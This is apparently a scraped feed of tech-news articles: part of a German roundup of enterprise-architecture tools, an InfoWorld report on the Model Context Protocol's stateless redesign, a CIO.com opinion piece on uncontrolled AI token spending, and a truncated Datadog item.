<p class="wp-block-paragraph">Nach der Übernahme von Mega International zählt die Hopex-Plattform zum Portfolio von Bizzdesign. Sie soll dabei unterstützen, Unternehmensanwendungen zu modellieren und dabei ein Verständnis der von ihnen unterstützten Geschäfts-Workflows schaffen. Dabei liegt ein Schwerpunkt auf den Bereichen Data Governance und Risikomanagement. Hopex basiert auf Microsoft <a class="idgGlossaryLink" href="https://www.computerwoche.de/article/2732704/microsoft-azure-mit-der-deutschen-cloud-zu-neuen-geldquellen.html" target="_blank">Azure</a> und stützt sich auf eine Reihe offener Standards wie GraphQL und REST Queries, um Informationen aus Komponentensystemen zu sammeln. Das Reporting ist mit den Office-Tools von Microsoft sowie mit grafischen Lösungen wie Tableau und Qlik integriert.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>datengestützte Erkenntnisse herbeiführen, um Cloud- und Anwendungsbereitstellung zu steuern;</p></li>



<li><p>akkurate Nutzungsmodelle erstellen, um Architekturanforderungen zu verstehen;</p></li>



<li><p>eine Bedarfsschätzung mit Umfragen und anderen Tools vornehmen, um für die Zukunft zu planen.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://bizzdesign.com/transformation-suite/horizzon" target="_blank" rel="noreferrer noopener">Bizzdesign Horizzon</a></strong></p>



<p class="wp-block-paragraph">Das Tool dient dazu, Business Workflows und den zugrundeliegenden Tech-Stack zu modellieren. Dazu bietet Horizzon ein Graph-basiertes Modell, das Daten von sämtlichen Stakeholdern einsammelt und diese an eine Analytics-Engine weitergibt. Im Ergebnis entstehen Diagramme, die den aktuellen Systemzustand widerspiegeln. Wichtige Schwerpunkte dieses Tools sind <a class="idgGlossaryLink" href="https://www.computerwoche.de/article/2777492/was-sie-ueber-change-management-wissen-muessen.html" target="_blank">Change Management</a> und Zukunftsplanung: Horizzon ist nicht zuletzt dafür konzipiert worden, die Risiken eines Redesigns zu minimieren. Das Toolset unterstützt die wichtigsten Frameworks ArchiMate, TOGAF und BPMN. Neben Mega hat Bizzdesign <a href="https://bizzdesign.com/press-releases/bizzdesign-adds-alfabet-business-following-successful-closing-mega-international" target="_blank" rel="noreferrer noopener">im Januar 2025</a> auch den EA-Geschäftsbereich der Software AG – Alfabet – übernommen.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>Vorhersage zukünftiger Anforderungen durch Predictive Modeling;</p></li>



<li><p>Orchestrieren von Workflows auf der Basis der technischen und der Business-Architektur;</p></li>



<li><p>Antizipieren von Risiken sowie Security- und Governance-Problemen durch die Modellierung von Datensicherheitsanforderungen.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://www.capstera.com/" target="_blank" rel="noreferrer noopener">Capstera</a></strong></p>



<p class="wp-block-paragraph">Das Tool von Capstera fokussiert darauf, die Business Architecture selbst abzubilden. Value und Process Maps helfen dabei, die Rollen der verschiedenen Unternehmensbereiche zu definieren und nachzuverfolgen. Dabei können im laufenden Prozess Verknüpfungen mit den zugrundeliegenden Softwarprodukten und Tools hinzugefügt werden.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>Reports erstellen, die sich erst einmal mit der Business-Architektur selbst beschäftigen;</p></li>



<li><p>Beziehungen zwischen Menschen, Abteilungen und Rollen analysieren;</p></li>



<li><p>die langfristige strategische Planung vorantreiben.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://www.bee360.com/de/" title="Clausmark Bee360" target="_blank" rel="noopener">Clausmark Bee360</a></strong></p>



<p class="wp-block-paragraph">Teammitglieder, die Clausmarks Flaggschiffprodukt Bee360 (früher Bee4IT) verwenden, wollen eine einfache “Single Source of Truth” über die Workflows im Unternehmen. Ziel ist es, verschiedenen betrieblichen Rollen intelligentere Entscheidungen zu ermöglichen. Das Modul Bee360 FM (Finanzmanagement) bietet etwa die Möglichkeit, Kosten nachzuvollziehen und zuzuordnen. Die Anwender können verschiedene solcher Module miteinander verknüpfen, um EAM, Finanzmanagement, Portfolio Management und Agile Planning nahtlos zu integrieren – bei maximaler Transparenz. </p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>C-Suite-Ebene befähigen, Projekte zu managen und Assets zuzuweisen;</p></li>



<li><p>präzise digitale Zwillinge entwickeln, um ein Verständnis über Datenflüsse zu schaffen und künftige Erweiterungen zu planen;</p></li>



<li><p>integrierte Wissensdatenbank aufbauen, um alle digitalen Workflows zu tracken.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://www.enterprise-architecture.com/" title="EAS" target="_blank" rel="noopener">EAS</a></strong></p>



<p class="wp-block-paragraph">Das Essential-Paket von EAS (Enterprise Architecture Solutions) nahm als <a href="https://www.computerwoche.de/k/linux-open-source,3472" target="_blank" class="idgGlossaryLink">Open-Source</a>-Projekt seinen Anfang und hat sich inzwischen zu einer kommerziell verfügbaren Cloud-Lösung weiterentwickelt. Das Tool erstellt ein Metamodell, das die Interaktionen zwischen Systemen und Geschäftsprozessen beschreibt. Ebenfalls enthalten sind Pakete, um gängige Business Workflows wie Datenmanagement oder DSGVO-Compliance zu tracken.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>den technischen Reifegrad der eigenen Architektur evaluieren;</p></li>



<li><p>Sicherheit und Governance durch besseres Asset Tracking optimieren;</p></li>



<li><p>wachsende Systemkomplexität kontrollieren und managen.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a title="Orbus Software iServer" href="https://www.orbussoftware.com/" target="_blank" rel="noopener">OrbusInfinity</a></strong></p>



<p class="wp-block-paragraph">Orbus Software hat Anfang 2025 die Akquisition seines Konkurrenten Capsifi <a href="https://www.orbussoftware.com/landing-pages/events/webinars/unlocking-the-future-orbus-acquires-capsifi-a-new-era-of-innovation-partnership-apac" target="_blank" rel="noreferrer noopener">abgeschlossen</a>. Der Anbieter stellt mit OrbusInfinity eine Enterprise-Transformation-Plattform auf KI-Basis zur Verfügung,  die schnellere, bessere Entscheidungen, Kosteinesparungen und Risikominimierung verspricht. Architecture-Teams sollen mit Hifle von OrbusInfinity mit einer Vielzahl von Stakeholdern interagieren können, um eine “digitale Blaupause” ihres Unternehmens zu generieren, die eine einheitliche Sicht auf das aktuelle und künftige Geschäft realisieren soll. Diverse Drittanbieter-Tools lassen sich außerdem mit der Plattform <a href="https://www.orbussoftware.com/product/integrations" target="_blank" rel="noreferrer noopener">integrieren</a>, darunter etwa von Microsoft, Flexera, ManageEngine oder ServiceNow. </p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>Stakeholder-Management;</p></li>



<li><p>Enterprise-Landschaften visualisieren;</p></li>



<li><p>Entscheidungsfindung und Datenanalyse automatisieren.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://www.planview.com/de/" title="Planview Enterprise One" target="_blank" rel="noopener">Planview Enterprise One</a></strong></p>



<p class="wp-block-paragraph">Planview bietet eine ganze Reihe von Produkten, mit denen Unternehmen Teamwork, Prozesse und die Enterprise Architecture nachvollziehen können. Die Enterprise Tools sind in drei Kategorien unterteilt: strategisches Portfolio-Management, Produktportfolio-Management und Projektportfolio-Management. Im Zusammenspiel entstehen hardware- und Software-übergreifende Layer, die rollenbasierte Perspektiven für Führungskräfte und Teammitglieder eröffnen. Das Toolset integriert mit gängigen Ticket-Tracking-Systemen wie Jira, um Workflow-Analysen und Reports zu erstellen. Inzwischen hat Planview nach einer Übernahme neue Tools in sein Portfolio integriert, die früher unter den Namen Daptiv, Barometer und Projectplace bekannt waren.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>eine langfristige, strategische Vision für die Architekturentwicklung aufbauen;</p></li>



<li><p>Entwicklungsarbeit auf Projektebene tracken und in eine beliebige Strategie integrieren;</p></li>



<li><p>mit Fokus auf die Customer Experience und die Produktstruktur den Change vorantreiben.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://www.qualiware.com/" title="QualiWare Enterprise Architecture" target="_blank" rel="noopener">QualiWare Enterprise Architecture</a></strong></p>



<p class="wp-block-paragraph">Das Enterprise Architecture Tool von QualiWare ist Teil einer größeren Sammlung von Modellierungswerkzeugen, die darauf abzielt, sämtliche Geschäftsprozesse zu erfassen. Beispielsweise ist es möglich, einen digitalen Zwillinge zu bauen, mit dem sich Customer Journeys nachvollziehen lassen. Qualiware hat diverse KI-Algorithmen integriert, um Dokumentation und Process Discovery zu optimieren.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>ein kollaboratives Ökosystem für Business Manager aufbauen, das ein Verständnis von der Enterprise Architecture vermittelt;</p></li>



<li><p>architektonische Designelemente erfassen, um ein Wissens-Ökosystem rund um den Stack aufzubauen;</p></li>



<li><p>eine breite Beteiligung in Sachen Dokumentationserstellung und -überprüfung fördern.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://www.erwin.com/de-de/products/erwin-evolve/" title="Quest Erwin Evolve" target="_blank" rel="noopener">Quest Erwin Evolve</a></strong></p>



<p class="wp-block-paragraph">Das Erwin Evolve Tool von Quest hat sich von einem Datenmodellierungs-Tool zu einem System für Enterprise-Architecture- und Geschäftsprozess-Modellierung weiterentwickelt. Um die Komplexität moderner, ineinandergreifender Softwaresysteme und der von ihnen gemanagten Geschäftsprozesse zu durchdringen, können Anwender auf benutzerdefinierte Datenstrukturen zurückgreifen. Das Web-Tool erstellt Modelle, rollenbasierte Diagramme und andere Visualisierungen, die in allgemein zugängliche Dashboards einfließen. Zum Paket gehört ein KI-basiertes Modellierungs-Tool, das Whiteboard-Skizzen integrieren kann.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>einen digitalen Zwilling für die strategische Modellierung der Enterprise Data Architecture erstellen;</p></li>



<li><p>Customer Journeys verstehen;</p></li>



<li><p>Services und Systeme mit Application Portfolio Management tracken.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a title="LeanIX Enterprise Architecture Suite" href="https://www.leanix.net/de/produkte/enterprise-architecture-management" target="_blank" rel="noopener">SAP LeanIX Enterprise Architecture Suite</a></strong></p>



<p class="wp-block-paragraph">Die Tool-Sammlung von LeanIX umfasst unter anderem Enterprise Architecture Management und andere Bereiche, die für Aufgaben wie <a class="idgGlossaryLink" href="https://www.computerwoche.de/k/cloud-computing,3454" target="_blank">SaaS</a>– und Value-Stream-Management wichtig sind – etwa um Cloud-Deployments und darauf laufende Services zu tracken. Die Daten die dabei über die IT-Infrastruktur gesammelt werden, fließen in ein grafisches Dashboard ein. Das Tool ist eng mit wichtigen Cloud-Workflow-Tools wie Confluence, Jira, Signavio und Lucidchart integriert. Das ist für Teams von Vorteil, die diese Tools bereits nutzen, um ihre Entwicklungsstrategien zu planen und umzusetzen. Seit November 2023 <a href="https://www.leanix.net/de/unternehmen/pressemeldungen/leanix-gehoert-jetzt-zu-sap">ist LeanIX Teil von SAP</a>.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>Anwendungsmodernisierung und Cloud-Migration managen;</p></li>



<li><p>Obsoleszenz von Software-Services evaluieren;</p></li>



<li><p>Kosten kontrollieren und managen.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://www.servicenow.com/de/" title="ServiceNow" target="_blank" rel="noopener">ServiceNow</a></strong></p>



<p class="wp-block-paragraph">Die Tool-Sammlung von ServiceNow lässt sich auf verschiedene Architekturtypen herunterbrechen, darunter Assets, <a href="https://www.computerwoche.de/article/2785626/wie-devops-die-it-beschleunigen.html" target="_blank" class="idgGlossaryLink">DevOps</a>, Security und Service. Die Tools katalogisieren die unterschiedlichen Hardware- und Softwareplattformen, um Workflows und Datenflüsse im Unternehmen abzubilden und zu verstehen. Ausführliche Reportings und detaillierte Dashboards ermöglichen Analysen, auf deren Grundlage Risiken minimiert und die Ausfallsicherheit der Systeme erhöht werden können.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>Tracken von Assets, Services und Systemen, die das Unternehmen ausmachen;</p></li>



<li><p>Governance-Themen, Risikobegrenzung, IT-Management und Security Operations werden in einer Plattform zusammengeführt;</p></li>



<li><p>durch die Integration von CRM-Tools lassen sich auch kundenorientierte Services managen.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://sparxsystems.com/products/ea/" title="Sparx Systems" target="_blank" rel="noopener">Sparx Systems</a></strong></p>



<p class="wp-block-paragraph">Um Teams und Projekte verschiedener Größe und Komplexität zu unterstützen, hat Sparx vier Versionen seines EA-Tools entwickelt. Allen gemeinsam ist eine UML-basierte Modellierung, mit der sich die Komponenten komplexer Systeme tracken lassen. Eine Simulations-Engine ermöglicht “War Gaming” und vermittelt ein Verständnis darüber, wie sich Fehler ausbreiten und kaskadieren können. Sparx stellt zudem eine Vielzahl von vorgefertigten Design Patterns bereit, um Teams bei der Modellierung zu unterstützen.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>Nachfrage- und Lastveränderungen zur Prognose künftiger Anforderungen simulieren;</p></li>



<li><p>(potenzielle) Probleme durch eine Verbindungs-Matrix im Auge behalten;</p></li>



<li><p>Dokumentation erstellen.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://www.teamblue.unicomsi.com/products/system-architect/" title="Unicom System Architect" target="_blank" rel="noopener">Unicom System Architect</a></strong></p>



<p class="wp-block-paragraph">System Architect ist eines der Angebote aus Unicoms Team Blue. Es handelt sich um ein Tool, das ein Metamodell verwendet, um automatisiert so viele Daten wie möglich über die laufenden Systeme zu sammeln – manchmal auch durch ein Reverse Engineering von Datenflüssen. Dieses systemweite Datenmodell kann über benutzerdefinierte Dashboards Teammitgliedern aller Rollen zugänglich gemacht werden. Ein weiteres erwähnenswertes Feature: Die Ressourcenzuweisung lässt sich mit Hilfe von Simulationen optimieren.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>Was-wäre-wenn-Fragen zum Architekturmodell stellen;</p></li>



<li><p>ein Metamodell von Daten und Systemen aufbauen;</p></li>



<li><p>Migrations- und Transformationspläne erstellen.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://www.valueblue.com/bluedolphin" title="ValueBlue BlueDolphin" target="_blank" rel="noopener">ValueBlue BlueDolphin</a></strong></p>



<p class="wp-block-paragraph">Dieses EA-Tool sammelt Daten auf dreierlei Art:</p>



<ol class="wp-block-list">
<li><p>Es importiert Basisdaten auf der Grundlage standardgesteuerter Automatisierung (ITSM, SAM).</p></li>



<li><p>Es arbeitet mit den Dateiformaten von Architekten und Systemdesignern – etwa ArchiMate oder BPMN.</p></li>



<li><p>Es gibt Fragebögen an andere Stakeholder heraus, die auf anpassbaren Vorlagen basieren.</p></li>
</ol>



<p class="wp-block-paragraph">Die aufbereiteten Informationen werden in einer visuellen Umgebung bereitgestellt, die Auskunft über die historische Entwicklung von Systemen gibt.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>systemweite Daten von internen und externen Stakeholdern automatisiert und formularbasiert erfassen;</p></li>



<li><p>zukunftsorientierte Reportings erzeugen, um den Change zu überwachen und voranzutreiben;</p></li>



<li><p>Kooperation und Zusammenarbeit durch offenes Data Reporting fördern.</p></li>
</ul>



<p class="wp-block-paragraph">(fm)</p>



<p class="wp-block-paragraph"><strong>Dieser Artikel ist <a href="https://www.cio.com/article/196069/top-enterprise-architecture-tools.html" target="_blank">im Original</a> bei unserer Schwesterpublikation CIO.com erschienen. </strong></p>
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<title><![CDATA[Model Context Protocol is going stateless to make scaling simpler]]></title>
<description><![CDATA[Model Context Protocol (MCP), the emerging standard for connecting AI models to external tools and enterprise data, is undergoing its biggest architectural overhaul yet.



The latest release candidate, scheduled for release on July 28, removes protocol-level sessions in favor of a stateless arch...]]></description>
<link>https://tsecurity.de/de/3694388/it-security-nachrichten/model-context-protocol-is-going-stateless-to-make-scaling-simpler/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694388/it-security-nachrichten/model-context-protocol-is-going-stateless-to-make-scaling-simpler/</guid>
<pubDate>Sat, 25 Jul 2026 18:55:48 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Model Context Protocol (<a href="https://www.infoworld.com/article/4029634/what-is-model-context-protocol-how-mcp-bridges-ai-and-external-services.html">MCP</a>), the emerging standard for connecting AI models to external tools and enterprise data, is undergoing its biggest architectural overhaul yet.</p>



<p class="wp-block-paragraph">The latest <a href="https://modelcontextprotocol.io/specification/draft/changelog" target="_blank" rel="noreferrer noopener">release candidate</a>, scheduled for release on July 28, removes protocol-level sessions in favor of a stateless architecture, a change which industry experts say is intended to make MCP easier to deploy across standard cloud infrastructure as enterprises move AI pilots into production.</p>



<p class="wp-block-paragraph">“The session-based model made sense when MCP servers were local processes on a developer’s laptop. In production, it became an operational tax,” said <a href="https://www.linkedin.com/in/muskan-bandta2004" target="_blank" rel="noreferrer noopener">Muskan Bandta</a>, cloud associate at ZopDev.</p>



<p class="wp-block-paragraph">“When your infrastructure team asks whether MCP services can scale like other cloud applications, the answer used to be ‘not quite.’ With the move to a stateless architecture, the answer is now yes,” Bandta added.</p>



<p class="wp-block-paragraph">Earlier versions of the protocol maintained information about every client connection, meaning servers had to keep track of each session throughout an interaction. While that approach worked well for local development, it complicated deployments across multiple servers because requests often had to be routed back to the same machine, limiting scalability and making MCP a less natural fit for modern cloud architectures.</p>



<p class="wp-block-paragraph">“Under the new stateless design, every request contains the information needed for any available server to process it independently. Applications that need to maintain context across multiple requests can still do so, but developers must now manage that state explicitly rather than relying on the protocol itself,” she said.</p>



<p class="wp-block-paragraph">This transition to a stateless design goes beyond simplifying infrastructure by fundamentally changing how AI applications manage and share context across tools, according to <a href="https://www.linkedin.com/in/znamit/" target="_blank" rel="noreferrer noopener">Amit Jena</a>, AI development manager at IT consulting firm Kanerika.</p>



<p class="wp-block-paragraph">Instead of keeping application state hidden inside protocol sessions, the new design makes it explicit, allowing AI models to access, reason over, and pass that information between tools, giving developers greater control over how context is preserved and shared across tools, Jena said.</p>



<p class="wp-block-paragraph">It should also make AI workflows more portable, resilient, and easier to orchestrate across distributed environments, he said.</p>



<h2 class="wp-block-heading">MCP’s new features</h2>



<p class="wp-block-paragraph">Other changes to MCP include the addition of a Multi Round-Trip Requests (MRTR) mechanism that changes how AI agents request additional information they need to complete a task.</p>



<p class="wp-block-paragraph">Instead of relying on a persistent connection between the client and server throughout the interaction, the new mechanism lets the server request additional input through a standard request-response exchange before continuing the task, Jena said.</p>



<p class="wp-block-paragraph">Routable transport headers, another addition, enable API gateways and other networking infrastructure to identify and route MCP requests without inspecting their contents.</p>



<p class="wp-block-paragraph">They reduce processing overhead, lower latency, and let enterprise teams enforce routing, rate-limiting and security policies more efficiently using existing API management infrastructure, Jena said.</p>



<p class="wp-block-paragraph">MCP is also getting an updated authorization framework built around OAuth 2.1 and OpenID Connect; interactive MCP Apps; and deterministic caching of tool and resource listings to improve LLM prompt-cache hit rates, potentially saving on token costs.</p>



<h2 class="wp-block-heading">Rebuilding the trust boundary</h2>



<p class="wp-block-paragraph">The MCP release steering committee also decided to deprecate some legacy features, including Roots, Sampling, Logging, the older HTTP+SSE transport and Dynamic Client Registration, although these will continue to work in this version and any other released over the next year.</p>



<p class="wp-block-paragraph">The deprecation of Sampling is likely to have the biggest impact because it changes who is responsible for interacting with foundation models, said Jena.</p>



<p class="wp-block-paragraph">“Sampling let MCP servers invoke the <a href="https://www.infoworld.com/article/2335213/large-language-models-the-foundations-of-generative-ai.html" target="_blank">LLM</a> through the client, which meant the server had a callback path into the model without owning that connection. Deprecating it means rebuilding that trust boundary,” Jena said. “Your server now calls the model provider directly. That changes your network architecture, your auth model, and depending on how you’ve built cost attribution, your billing flow.”</p>



<p class="wp-block-paragraph">The year-long transition period will be enough for teams to audit their sampling dependencies now, said Jena: “The risk is that teams who haven’t implemented sampling themselves won’t know if a third-party MCP server they’re depending on uses it.”</p>



<h2 class="wp-block-heading">Updated MCP SDKs</h2>



<p class="wp-block-paragraph">To accompany the protocol update, there are updated <a href="https://github.com/modelcontextprotocol" target="_blank" rel="noreferrer noopener">MCP SDKs</a> for <a href="https://www.infoworld.com/article/2253770/what-is-python-powerful-intuitive-programming.html" target="_blank">Python</a>, <a href="https://www.infoworld.com/article/2257305/what-is-typescript-strongly-typed-javascript.html" target="_blank">Typescript</a>, <a href="https://www.infoworld.com/article/2253031/whats-the-go-language-really-good-for-3.html">Go</a>, and <a href="https://www.infoworld.com/article/4131649/the-best-new-features-of-c-14.html">C#</a>. These support both the old and new protocol versions, so new clients can continue communicating with older servers, while updated servers will also support older clients, reducing the risk of immediate disruptions.</p>



<p class="wp-block-paragraph">That backward compatibility should make the transition largely incremental, except for enterprises that built custom infrastructure around MCP’s earlier session-based architecture, Bandta said.</p>



<p class="wp-block-paragraph">Identifying and auditing those session dependencies may not be easy, Jena warned.</p>



<p class="wp-block-paragraph">“Session management complexity tends to be hidden across multiple layers — the gateway config, the deployment scripts, the monitoring dashboards. The code change is small; finding everywhere the assumption lives is what takes time,” he said.</p>



<p class="wp-block-paragraph"><em>This article first appeared on <a href="https://www.infoworld.com/article/4201254/model-context-protocol-is-going-stateless-to-make-scaling-simpler.html">InfoWorld</a>.</em></p>
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<title><![CDATA[Getting a grip on shadow tokens and AI blowouts]]></title>
<description><![CDATA[Four months of Claude Code — that’s all it took for Uber to burn through its entire annual budget for AI. Token after token, engineers embraced the platform with few control mechanisms tying costs to outcomes. The result was a budget runaway and a clear case study in how limited oversight snowbal...]]></description>
<link>https://tsecurity.de/de/3694389/it-security-nachrichten/getting-a-grip-on-shadow-tokens-and-ai-blowouts/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694389/it-security-nachrichten/getting-a-grip-on-shadow-tokens-and-ai-blowouts/</guid>
<pubDate>Sat, 25 Jul 2026 18:55:48 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Four months of Claude Code — that’s all it took for Uber to burn through its entire annual budget for AI. Token after token, engineers embraced the platform with few control mechanisms tying costs to outcomes. The result was a budget runaway and <a href="https://www.forbes.com/sites/janakirammsv/2026/05/17/uber-burns-its-2026-ai-budget-in-four-months-on-claude-code/">a clear case study</a> in how limited oversight snowballs into an AI blowout.</p>



<p class="wp-block-paragraph">This is a phenomenon I like to call “shadow tokens” — AI credits paid for by the company but largely invisible to decision-makers. Too many engineers have the final say over how much they consume and, therefore, what it costs. This all-you-can-eat attitude is part of the reason why <a href="https://www.theverge.com/tech/930447/microsoft-claude-code-discontinued-notepad">Microsoft is reportedly</a> winding down many internal licenses across key engineering teams and why <a href="https://www.thestreet.com/investing/the-next-phase-of-ai-spending-is-already-underway">one in five organizations</a> is missing its AI spend forecast by more than 50%.</p>



<p class="wp-block-paragraph">And the trend is only accelerating. By 2028, <a href="https://www.cio.com/article/4189149/ai-coding-token-costs-are-on-track-to-rival-human-payroll.html">Gartner predicts</a> that AI coding costs (driven by this kind of ungoverned consumption) will be as much per developer as the salary companies pay that person.</p>



<p class="wp-block-paragraph">LLMs and agents introduce a new class of variable cost that scales with behavior rather than headcount, putting enterprises on the hook for tools that balloon with workload. I don’t see this as enterprises overspending because they’re reckless — it’s down to a lack of managerial oversight, budget alignment that demands a proven return on investment, and engineer education on how much is too much.</p>



<p class="wp-block-paragraph">Going forward, CIOs need to thread the AI needle between governance that encourages transparency and reasonable spend without stifling innovation.</p>



<h2 class="wp-block-heading">When shadow tokens result in real costs</h2>



<p class="wp-block-paragraph">The issue is that AI isn’t a traditional line item. Previously, enterprise leaders onboarded software-as-a-service (SaaS) with a good idea of the total cost. An allocated software seat or annual contract was a known quantity. The cloud added some variation (with fluctuations depending on hosting size), but instances were still modelable. AI flips this status quo on its head — the unit of consumption is behavior and the cost is exponential.</p>



<p class="wp-block-paragraph">And these specifics aren’t immediately apparent at pilot. Tools can appear inexpensive in controlled experiments yet unpredictably scale depending on session length, context window size, model selection and whether agents run in parallel. This is the fallacy of the $20-per-seat enterprise plan — tokens are charged separately at API rates with no ceiling. The final dollar value of any session is set by factors that finance can’t always model in advance, particularly when these decisions usually rest with the engineers themselves.</p>



<p class="wp-block-paragraph">According to <a href="https://www.deloitte.com/cz-sk/en/services/consulting/research/the-state-of-ai-in-the-enterprise.html">Deloitte</a>, only 21% of organizations deploying agents have a mature governance model, a real concern because they’re token-eating machines. This is what was happening at Uber — Claude Code in agentic mode was autonomously reading codebases, planning changes across dozens of files and opening pull requests. Each step quickly adds up, with Anthropic’s own documentation noting that agents consume approximately seven times as many tokens as standard sessions.</p>



<p class="wp-block-paragraph">This is shadow IT and shadow AI, evolved. This time, however, many leaders approved the tool in question without guardrails governing consumption. AI hype adds fuel to the fire and normalizes long sessions. Uber’s CTO, for example, <a href="https://x.com/praveenTweets/status/2033627282418655711">described</a> a company-wide shift toward “agentic software engineering” with employees “who are quietly experimenting, quietly shipping and quietly pushing things forward”. This is an exciting way to test the limits of what’s possible, certainly, but it’s also a position that goes a long way to explaining how the company spent its annual AI budget by April.</p>



<h2 class="wp-block-heading">Shifting the culture from usage to yield</h2>



<p class="wp-block-paragraph">Engineers haven’t done anything wrong here. In fact, they’re adopting and experimenting as instructed, with Uber creating leaderboards and ranking users by token consumption. More use led to a better ranking, reflecting a culture that lauds new ways of doing things. This behavior is known as “<a href="https://www.cio.com/article/4178320/tokenmaxxing-when-ai-adoption-metrics-go-bad.html">tokenmaxxing</a>,” and its principal knock-on effect is shadow tokens — quantity-over-quality processes that leaders struggle to control until they’re fully realized in the budget. Of course, if management treats adoption metrics as performance metrics, then engineers can’t be blamed for using more tokens. The tension is that the teams driving adoption aren’t the ones managing spend.</p>



<p class="wp-block-paragraph">None of this is meant to dismiss AI’s productivity possibilities and potential return on investment. Developers save <a href="https://getdx.com/blog/ai-assisted-engineering-q4-impact-report-2025/">3.6 hours</a> per week, achieve 60% higher pull request throughput and cut onboarding time in half with automation. Meanwhile, Uber shared that roughly 11% of live backend updates were written by agents with no human in the loop. However, these wins aren’t the problem — it’s that too many teams aren’t connecting input to output. I’ve spoken to admins who discovered their token spend had tripled in a single quarter after using heavier models or accidentally doubling up on agentic applications. Nobody knew until the financial damage was done.</p>



<p class="wp-block-paragraph">Automation needs to happen sustainably with an eye on the bottom line. In my view, a much better metric for achieving this is AI yield — the measurable business or engineering output generated per dollar spent on tokens. Otherwise, without a feedback loop, even genuinely productive teams are flying blind.</p>



<h2 class="wp-block-heading">Stopping token waste before an AI blowout</h2>



<p class="wp-block-paragraph">Creating that throughline between AI investment and token consumption starts with established financial metrics. This is possible via maximum spend limits (dictated by spend tagging, workload tiering and cost-per-output benchmarks) per team or project. Then, any additional allocation requires approval, closing the loop between the engineers spending the tokens and the leaders paying for them. AI isn’t cheap and teams should demonstrate a bang for their buck.</p>



<p class="wp-block-paragraph">This is something we do with our engineering team at Hexnode. Resource allocation for Claude Code and Cursor is tied directly to ROI rather than letting consumption run open-ended. Given the pay-as-you-go nature of these tools, a firm usage limit per team offers simple but essential control.</p>



<p class="wp-block-paragraph">Similarly, there’s room to apply some of the governance principles IT uses for device management. Things like policy enforcement, role-based access, real-time monitoring and automated alerts can flag usage behavior in advance. Uncovering such insights at the token layer works to identify power users and prevent excessive spending.</p>



<p class="wp-block-paragraph">We also need to encourage cultures that praise outputs that actually achieve efficiency. AI applications that result in shipping faster, reducing rework and cutting review cycles are gains that should be celebrated. If your company hosts leaderboards, frame unnecessary token burn as wasteful rather than valuable. The organizations creating healthier consumption habits work with their engineers to understand not just how to use AI, but what responsible use looks like and what it costs.</p>



<p class="wp-block-paragraph">This is a conversation teams need to have now. Anthropic <a href="https://support.claude.com/en/articles/15036540-use-the-claude-agent-sdk-with-your-claude-plan">just ended flat-rate pricing</a> for programmatic workloads from June 15. Now, agents, continuous integration pipelines and automated workflows draw from a dedicated monthly credit pool billed separately from the subscription. Once that pool is exhausted, agent tasks either stop entirely or overflow to extra billing. Work can either get very expensive or grind to a halt for teams that aren’t prepared.</p>



<p class="wp-block-paragraph">Getting a grip on shadow tokens means better rules and tools connecting spend to outcomes. Only by building the financial and cultural infrastructure that encourages sustainable adoption can leaders see what they’re spending, connect it to what they’re getting and course-correct before the costs become a crisis. Ultimately, shadow tokens are only invisible if we choose not to look.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Datadog delivers millions of in-depth performance insights with ProfilingManager]]></title>
<description><![CDATA[Posted by Alice Yuan, Developer Relations Engineer at Google, Arti Arutiunov, Product Manager at Datadog and Nikita Ogorodnikov, Staff Software Engineer at Datadog


  Performance regressions are notoriously hard to reproduce, making regressions a massive bottleneck for mobile developers. Althoug...]]></description>
<link>https://tsecurity.de/de/3693507/android-tipps/datadog-delivers-millions-of-in-depth-performance-insights-with-profilingmanager/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693507/android-tipps/datadog-delivers-millions-of-in-depth-performance-insights-with-profilingmanager/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:39 +0200</pubDate>
<category>🤖 Android Tipps</category>
